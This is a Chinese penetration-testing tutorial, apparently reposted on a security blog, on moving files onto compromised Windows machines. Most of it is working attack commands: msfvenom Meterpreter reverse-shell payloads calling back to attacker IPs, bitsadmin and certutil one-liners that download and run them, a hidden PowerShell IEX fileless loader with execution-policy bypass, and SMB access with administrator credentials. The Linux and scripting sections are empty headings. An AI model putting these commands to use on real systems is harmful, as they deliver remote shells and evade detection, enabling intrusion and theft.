内网文件传输

admin 2021年8月27日14:32:44评论102 views字数 2232阅读7分26秒阅读模式

/01 Windows

一,FTP

ftp服务器:

使用Python开启简单ftp服务

1
2
3
pip3 install pyftpdlib

python3 -m pyftpdlib

image-20201120164929650

目标机:

本地用copy方式写一个ftp.txt

1
copy con ftp.txt 

写入内容:

1
2
3
4
5
6
7
open 192.168.96.128 2121   #连接ftp服务器

anonymous #匿名
anonymous #匿名密码
get pass.txt #获取ftp的pass.txt文件

quit #退出ftp

image-20201120164637313

那么文件写好了怎么让对方执行呢?

使用命令

1
ftp -i -s:ftp.txt

image-20201120165248114

二,Bitsadmin

BITSAdmin是一个命令行工具,您可以使用它创建下载或上载作业,并监视其进度。

攻击方:

生成hta文件,HTA是HTML Application的缩写(HTML应用程序),是软件开发的新概念,直接将HTML保存成HTA的格式,就是一个独立的应用软件,与VBC++等程序语言所设计的软件界面没什么差别。

1
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.96.128 lport=7777 -f hta-psh > 44.hta

image-20201120170218251

目的方:

远端加载文件

1
bitsadmin /transfer shell http://192.168.96.128/44.hta C:windowstemp44.hta

rundll32加载dll

1
rundll32.exe url.dll,OpenURL 44.hta

三,Certutil

生成:

1
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.96.128 lport=8088 -f exe > local8088.exe

image-20201120210104979

放在http服务中

image-20201120210147569

目标:

下载并允许

1
certutil.exe -urlcache -split -f http://192.168.96.128/local8088.exe & start c:UsersadminDesktoplocal8088.exe

image-20201120210520134

清除下载缓存

1
certutil.exe -urlcache -split -f http://192.168.96.128/local8088.exe delete

image-20201120211240119

缓存目录:%USERPROFILE%AppDataLocalLowMicrosoftCryptnetUrlCacheContent

四,Powershell

核心语句:

webclient是.net的一个对象,能执行对URL资源的获取

1
2
$p = new-object system.net.webclient
$p.downloadfile("http://xx.xx.xx.xx/file","c:xxxxxfile")
1
2
3
4
5
6
7
8
9
10
11
12
powershell -c "$p=new-object system.net.webclient;$p.DownloadFile('http://192.168.1.227/s.txt','s.txt')"

powershell (new-object system.net.webclient).downloadfile('http://192.168.1.227/s.txt','s.txt')

powershell Invoke-WebRequest -uri " http://192.168.1.227/s.txt " -OutFile "$env:temps.php"
#powershell -Command -c执行指定命令
# -exec
# -等等
#powershell 中$env当前用户AppData、local安装目录



msfvenom生成ps

1
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=139.155.49.43 lport=8899 -f psh-reflection -o shell.ps1

使用IEX函数远程加载远端文件于内存中,文件不落地

1
2
powershell -windowstyle hidden -exec bypass -c "IEX (New-Object
Net.WebClient).DownloadString('http://139.155.49.43/shell.ps1’);shell.ps1";

五,SCP

1
scp note3.txt root@192.168.1.227:/tmp/n.txt
1
scp -r password/ root@192.168.1.227:/tmp/pass/

六,Windows文件共享

1
2
3
net use

net use k: \192.168.78.67c$ "123123" /user:administrator
1
dir \192.168.78.67

/02 Linux

一,Wget

二,Curl

三,Netcat

四,SFTP

五,DNS传输数据

/03 脚本语言

一,PHP

二,Python

三,Perl

四,Ruby

FROM :https://ailumao.cn/ | Author:Ailumao

相关推荐: MacOS 破解安装 Nessus 8.12.0

MacOS 破解安装 Nessus 8.12.0系统环境:macOS 10.15.7 Nessus 版本:8.12.0 下载安装 Nessus 官网:https://www.tenable.com/downloads/nessus 下载后缀 .dmg 安装成功…

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年8月27日14:32:44
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   内网文件传输https://cn-sec.com/archives/475107.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息